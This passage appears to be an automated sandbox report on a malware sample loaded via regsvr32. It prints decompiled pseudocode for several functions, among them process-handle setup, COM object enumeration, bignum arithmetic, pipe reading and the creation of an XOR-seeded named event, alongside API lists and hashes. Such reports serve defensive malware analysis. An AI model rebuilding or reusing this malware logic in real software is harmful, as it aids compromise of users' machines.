                    Function 00D854D8 Relevance: 7.5, APIs: 5, Instructions: 37COMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00D854D8(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0xd8a30c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0xd8a2fc = _t4;
					_t6 = GetCurrentProcessId();
					 *0xd8a2f8 = _t6;
					 *0xd8a304 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0xd8a2f4 = _t7;
					if(_t7 == 0) {
						 *0xd8a2f4 =  *0xd8a2f4 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}









                    0x00d854e0
                    0x00d854e6
                    0x00d854ed
                    0x00000000
                    0x00d85547
                    0x00d854ef
                    0x00d854f7
                    0x00d85504
                    0x00d85504
                    0x00d85544
                    0x00000000
                    0x00d85544
                    0x00d85506
                    0x00d85506
                    0x00d8550b
                    0x00d8551d
                    0x00d85522
                    0x00d85528
                    0x00d8552e
                    0x00d85535
                    0x00d85537
                    0x00d85537
                    0x00000000
                    0x00d8553e
                    0x00d85500
                    0x00000000
                    0x00000000
                    0x00d85502
                    0x00000000

                    APIs
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00D85037,?), ref: 00D854E0
                    • GetVersion.KERNEL32 ref: 00D854EF
                    • GetCurrentProcessId.KERNEL32 ref: 00D8550B
                    • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 00D85528
                    • GetLastError.KERNEL32 ref: 00D85547
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Process$CreateCurrentErrorEventLastOpenVersion
                    • String ID:
                    • API String ID: 2270775618-0
                    • Opcode ID: 58b94ec6abb075e6603bead3fb5fa14e8ce446195448578f298a6a34dbf59976
                    • Instruction ID: 6ed1e272b990b6d35269606f6ab2cd169227c1a7f96f7b6874973da4bc402eef
                    • Opcode Fuzzy Hash: 58b94ec6abb075e6603bead3fb5fa14e8ce446195448578f298a6a34dbf59976
                    • Instruction Fuzzy Hash: 90F044B0560702DBE734AF28BC29F247B62E704751F144556E596D63E8D6758480CB3A
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D86CDF Relevance: 6.2, APIs: 4, Instructions: 154memorystringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 46%
                    			E00D86CDF(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0xd8a348; // 0x435d5a8
					_t5 = _t103 + 0xd8b038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0xd89284);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0xd8a348; // 0x435d5a8
												_t28 = _t109 + 0xd8b0e4; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0xd8a348; // 0x435d5a8
														_t33 = _t79 + 0xd8b078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}





































                    0x00d86ce4
                    0x00d86ced
                    0x00d86cee
                    0x00d86cf2
                    0x00d86cf8
                    0x00d86cfe
                    0x00d86d07
                    0x00d86d0d
                    0x00d86d17
                    0x00d86d19
                    0x00d86d1f
                    0x00d86d24
                    0x00d86d2f
                    0x00d86d35
                    0x00d86d3a
                    0x00d86e5c
                    0x00d86d40
                    0x00d86d40
                    0x00d86d4d
                    0x00d86d53
                    0x00d86d59
                    0x00d86d5d
                    0x00d86d63
                    0x00d86d70
                    0x00d86d74
                    0x00d86d7a
                    0x00d86d7d
                    0x00d86d85
                    0x00d86d86
                    0x00d86d8a
                    0x00d86d8e
                    0x00d86d91
                    0x00d86d94
                    0x00d86d9a
                    0x00d86da3
                    0x00d86da9
                    0x00d86daa
                    0x00d86dad
                    0x00d86dae
                    0x00d86daf
                    0x00d86db7
                    0x00d86db8
                    0x00d86db9
                    0x00d86dbb
                    0x00d86dbf
                    0x00d86dc3
                    0x00000000
                    0x00000000
                    0x00d86dc9
                    0x00d86dd2
                    0x00d86dd8
                    0x00d86de2
                    0x00d86de6
                    0x00d86de8
                    0x00d86df5
                    0x00d86df9
                    0x00d86e01
                    0x00d86e06
                    0x00d86e18
                    0x00d86e1a
                    0x00d86e20
                    0x00d86e20
                    0x00d86e29
                    0x00d86e29
                    0x00d86e2b
                    0x00d86e31
                    0x00d86e31
                    0x00d86e34
                    0x00d86e3a
                    0x00d86e3d
                    0x00d86e46
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d86e46
                    0x00d86d9a
                    0x00d86d94
                    0x00d86d7d
                    0x00d86e4c
                    0x00d86e4c
                    0x00d86e52
                    0x00d86e52
                    0x00d86e58
                    0x00d86e58
                    0x00d86e61
                    0x00d86e67
                    0x00d86e67
                    0x00d86d24
                    0x00d86e70

                    APIs
                    • SysAllocString.OLEAUT32(00D89284), ref: 00D86D2F
                    • lstrcmpW.KERNEL32(00000000,0076006F), ref: 00D86E10
                    • SysFreeString.OLEAUT32(00000000), ref: 00D86E29
                    • SysFreeString.OLEAUT32(?), ref: 00D86E58
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: String$Free$Alloclstrcmp
                    • String ID:
                    • API String ID: 1885612795-0
                    • Opcode ID: 2c3c54a5e102a455e746285607421a3a07b59469ccc86063c3be041435d18084
                    • Instruction ID: d72870c1e738bbd95b1a7e8a8d7a060a2a41337cd4a45da6d56cd0f4f015eac8
                    • Opcode Fuzzy Hash: 2c3c54a5e102a455e746285607421a3a07b59469ccc86063c3be041435d18084
                    • Instruction Fuzzy Hash: FC513B75D00609EFCB01EFA8C888DAEB7B9EF89714B148595F915EB310D7329D41CBA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D8597D Relevance: 6.2, APIs: 4, Instructions: 154memoryCOMMON
                    Download Yara Rule
                    APIs
                    • SysAllocString.OLEAUT32(?), ref: 00D859B8
                    • SysFreeString.OLEAUT32(00000000), ref: 00D85A9D
                      • Part of subcall function 00D86CDF: SysAllocString.OLEAUT32(00D89284), ref: 00D86D2F
                    • SafeArrayDestroy.OLEAUT32(00000000), ref: 00D85AF0
                    • SysFreeString.OLEAUT32(00000000), ref: 00D85AFF
                      • Part of subcall function 00D877E3: Sleep.KERNEL32(000001F4), ref: 00D8782B
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: String$AllocFree$ArrayDestroySafeSleep
                    • String ID:
                    • API String ID: 3193056040-0
                    • Opcode ID: 7ec244f26c80cf27bc5a84a75e5a8df15c733697c1ab8523431db671d797e785
                    • Instruction ID: bfeb59dcde17597c81a4593c0367f4c41ab2ea935cd0af761076b2822758f051
                    • Opcode Fuzzy Hash: 7ec244f26c80cf27bc5a84a75e5a8df15c733697c1ab8523431db671d797e785
                    • Instruction Fuzzy Hash: 78517035500609EFDB05EFA8D884AAEB7B5FF88740F248529E505DB224DB71ED05CB70
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D84781 Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                    Download Yara Rule
                    C-Code - Quality: 85%
                    			E00D84781(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v156;
				void _v428;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E00D861EF(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E00D86725(_t79,  &_v428);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0x1a8)) = E00D87477(_t101,  &_v428, _a8, _t96 - _t81);
					E00D87477(_t79,  &_v156, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x9c));
					_t66 = E00D86725(_t101,  &E00D8A1D0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E00D86725(_a16, _a4);
						E00D87894(_t79,  &_v428, _a4, _t97);
						memset( &_v428, 0, 0x10c);
						_t55 = memset( &_v156, 0, 0x84);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0x1a8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L00D882DA();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L00D882D4();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0x1a8;
						_a12 = _t74;
						_t76 = E00D85F09(_t79,  &_v156, _t92, _t107 + _a8 * 4 - 0x1a8, _t107 + _a8 * 4 - 0x1a8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v156;
							if(E00D86E71(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E00D810A0(_t79,  &_v156, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(_a8 * 4 +  &E00D8A1D0) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}





















                    0x00d84784
                    0x00d84790
                    0x00d84796
                    0x00d8479b
                    0x00d8479f
                    0x00d84911
                    0x00d84915
                    0x00d84915
                    0x00d847a5
                    0x00d847a9
                    0x00d847ad
                    0x00d847b0
                    0x00d847bb
                    0x00d847c1
                    0x00d847c6
                    0x00d847c9
                    0x00d847e3
                    0x00d847f2
                    0x00d847fe
                    0x00d84808
                    0x00d8480d
                    0x00d8480f
                    0x00d84812
                    0x00d848c9
                    0x00d848cf
                    0x00d848e0
                    0x00d848f3
                    0x00d84909
                    0x00000000
                    0x00d8490e
                    0x00d8481b
                    0x00d84822
                    0x00d84826
                    0x00d8482c
                    0x00d8482e
                    0x00d84830
                    0x00d84832
                    0x00d84834
                    0x00d8483e
                    0x00d84843
                    0x00d84845
                    0x00d84847
                    0x00d84848
                    0x00d84849
                    0x00d8484a
                    0x00d84851
                    0x00d84858
                    0x00d8485b
                    0x00d8485b
                    0x00d84828
                    0x00d84828
                    0x00d84828
                    0x00d84863
                    0x00d8486b
                    0x00d84877
                    0x00d8487c
                    0x00d8487c
                    0x00d84881
                    0x00000000
                    0x00000000
                    0x00d84883
                    0x00d84886
                    0x00d84893
                    0x00000000
                    0x00000000
                    0x00d84895
                    0x00d84895
                    0x00d848a2
                    0x00d8487c
                    0x00d84881
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d84881
                    0x00d848ac
                    0x00d848af
                    0x00d848b2
                    0x00d848b9
                    0x00d848b9
                    0x00d848c6
                    0x00000000
                    0x00d848c6
                    0x00d847b2
                    0x00d847b6
                    0x00d847b7
                    0x00d847b9
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d847b9
                    0x00000000

                    APIs
                    • _allmul.NTDLL(?,00000000,00000000,00000001), ref: 00D84834
                    • _aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 00D8484A
                    • memset.NTDLL ref: 00D848F3
                    • memset.NTDLL ref: 00D84909
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: memset$_allmul_aulldiv
                    • String ID:
                    • API String ID: 3041852380-0
                    • Opcode ID: a4b5b034742fa3274866b95de56dabd90a60c3de893e161637bf7eea03597a53
                    • Instruction ID: 1361d3d496834dcccdb20b83dd872e65f5d05abec8198f7c4be51966112e9c36
                    • Opcode Fuzzy Hash: a4b5b034742fa3274866b95de56dabd90a60c3de893e161637bf7eea03597a53
                    • Instruction Fuzzy Hash: C641A071A01219AFDB10BF68CC45BEE7779EF45310F104569F919A7281EB70EE448BB1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D8454F Relevance: 6.1, APIs: 4, Instructions: 112COMMON
                    Download Yara Rule
                    C-Code - Quality: 39%
                    			E00D8454F(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0xd8a160() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0xd8a174(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E00D833DC(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0xd8a160() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E00D861DA(_v16);
							if(_t58 == 0) {
								_t58 = E00D82B18(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E00D816B2( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E00D816B2( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}














                    0x00d8454f
                    0x00d8455e
                    0x00d84563
                    0x00d84565
                    0x00d8456a
                    0x00d8456b
                    0x00d84570
                    0x00d84571
                    0x00d8457c
                    0x00d845ad
                    0x00d845b2
                    0x00d84675
                    0x00d84678
                    0x00d8467e
                    0x00d8467e
                    0x00d845bf
                    0x00d845c7
                    0x00d84672
                    0x00000000
                    0x00d84672
                    0x00d845d2
                    0x00d845d7
                    0x00d845dc
                    0x00d84664
                    0x00d84665
                    0x00d84665
                    0x00d8466b
                    0x00000000
                    0x00d8466b
                    0x00d845e2
                    0x00d845e4
                    0x00d845ea
                    0x00d845eb
                    0x00d845eb
                    0x00d845ee
                    0x00d845f1
                    0x00d845f7
                    0x00d845fc
                    0x00d845fd
                    0x00d84602
                    0x00d84605
                    0x00d84610
                    0x00000000
                    0x00000000
                    0x00d84618
                    0x00d84620
                    0x00d84649
                    0x00d8464c
                    0x00d84653
                    0x00d8465e
                    0x00d8465e
                    0x00000000
                    0x00d84653
                    0x00d8462c
                    0x00d84630
                    0x00000000
                    0x00000000
                    0x00d84632
                    0x00d84637
                    0x00000000
                    0x00000000
                    0x00d84639
                    0x00d84639
                    0x00d8463e
                    0x00000000
                    0x00000000
                    0x00d84640
                    0x00d84641
                    0x00d84644
                    0x00d84644
                    0x00d845eb
                    0x00d84584
                    0x00d8458c
                    0x00d845a5
                    0x00d845a7
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d845a7
                    0x00d84598
                    0x00d8459c
                    0x00000000
                    0x00000000
                    0x00d845a2
                    0x00000000

                    APIs
                    • ResetEvent.KERNEL32(?), ref: 00D84565
                    • GetLastError.KERNEL32 ref: 00D8457E
                      • Part of subcall function 00D816B2: WaitForMultipleObjects.KERNEL32(00000002,00D87C47,00000000,00D87C47,?,?,?,00D87C47,0000EA60), ref: 00D816CD
                    • ResetEvent.KERNEL32(?), ref: 00D845F7
                    • GetLastError.KERNEL32 ref: 00D84612
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: ErrorEventLastReset$MultipleObjectsWait
                    • String ID:
                    • API String ID: 2394032930-0
                    • Opcode ID: 269441e1f97a71579174445f397a30b6303da3557fa416c94f5ee30b17d22f84
                    • Instruction ID: f4067279c29e7aaad6af7841911cc551bca8426e0b9e184288ff5edc31ab15e1
                    • Opcode Fuzzy Hash: 269441e1f97a71579174445f397a30b6303da3557fa416c94f5ee30b17d22f84
                    • Instruction Fuzzy Hash: 6231E432600205EFDB11ABA4CC45EAEB7B9FF84360F294668E155E7190FB30ED058B30
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D849D0 Relevance: 6.1, APIs: 4, Instructions: 96synchronizationCOMMON
                    Download Yara Rule
                    C-Code - Quality: 87%
                    			E00D849D0(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0xd8a310; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0xd8a348; // 0x435d5a8
				_t3 = _t8 + 0xd8b7b4; // 0x61636f4c
				_t25 = 0;
				_t30 = E00D874EC(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0xd8a34c, 1, 0, _t30);
					E00D861DA(_t30);
				}
				_t12 =  *0xd8a2fc; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E00D830D5() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E00D837DF(_t32, 0);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0xd8a124( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E00D823C4(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}














                    0x00d849d1
                    0x00d849d8
                    0x00d849e2
                    0x00d849e6
                    0x00d849ec
                    0x00d849fb
                    0x00d84a02
                    0x00d84a06
                    0x00d84a18
                    0x00d84a1a
                    0x00d84a1a
                    0x00d84a1f
                    0x00d84a26
                    0x00d84a7d
                    0x00d84a7d
                    0x00d84a83
                    0x00d84a85
                    0x00d84a85
                    0x00d84a8f
                    0x00d84a93
                    0x00d84aa5
                    0x00d84aa5
                    0x00d84aa9
                    0x00d84aaf
                    0x00d84aaf
                    0x00000000
                    0x00d84a3f
                    0x00d84a44
                    0x00d84a4c
                    0x00d84a50
                    0x00d84a54
                    0x00d84a54
                    0x00d84a61
                    0x00d84a65
                    0x00d84a69
                    0x00d84abe
                    0x00d84ac4
                    0x00d84ac4
                    0x00d84a77
                    0x00d84a7b
                    0x00d84ab2
                    0x00d84ab4
                    0x00d84ab7
                    0x00d84ab7
                    0x00000000
                    0x00d84ab4
                    0x00d84a7b
                    0x00000000
                    0x00d84a65

                    APIs
                      • Part of subcall function 00D874EC: lstrlen.KERNEL32(00000005,00000000,43175AC3,00000027,00000000,050E9DD8,00000000,?,?,43175AC3,00000005,00D8A00C,4D283A53,?,?), ref: 00D87522
                      • Part of subcall function 00D874EC: lstrcpy.KERNEL32(00000000,00000000), ref: 00D87546
                      • Part of subcall function 00D874EC: lstrcat.KERNEL32(00000000,00000000), ref: 00D8754E
                    • CreateEventA.KERNEL32(00D8A34C,00000001,00000000,00000000,61636F4C,00000001,00000000,?,?,00000000,?,00D86A95,?,?,?), ref: 00D84A11
                      • Part of subcall function 00D861DA: RtlFreeHeap.NTDLL(00000000,00000000,00D86383,00000000,?,00000000,00000000), ref: 00D861E6
                    • WaitForSingleObject.KERNEL32(00000000,00004E20,00D86A95,00000000,00000000,?,00000000,?,00D86A95,?,?,?), ref: 00D84A71
                    • WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,?,?,00000000,?,00D86A95,?,?,?), ref: 00D84A9F
                    • CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,?,?,00000000,?,00D86A95,?,?,?), ref: 00D84AB7
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
                    • String ID:
                    • API String ID: 73268831-0
                    • Opcode ID: 8ae1470a0a9e3639148fcb29546471d979021090df2646850c37b949c6657119
                    • Instruction ID: c473842d1fcef0354e5a9ce03864831b28836cdfcd6544ddc0c6347ef6044cff
                    • Opcode Fuzzy Hash: 8ae1470a0a9e3639148fcb29546471d979021090df2646850c37b949c6657119
                    • Instruction Fuzzy Hash: 5421F8326913125BD735BB688C44A6B73E9EB48B1CF1A0615FD86DF241DF20CC008778
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D869E6 Relevance: 6.1, APIs: 4, Instructions: 87sleepCOMMON
                    Download Yara Rule
                    C-Code - Quality: 39%
                    			E00D869E6(void* __ecx, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E00D82A3D(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
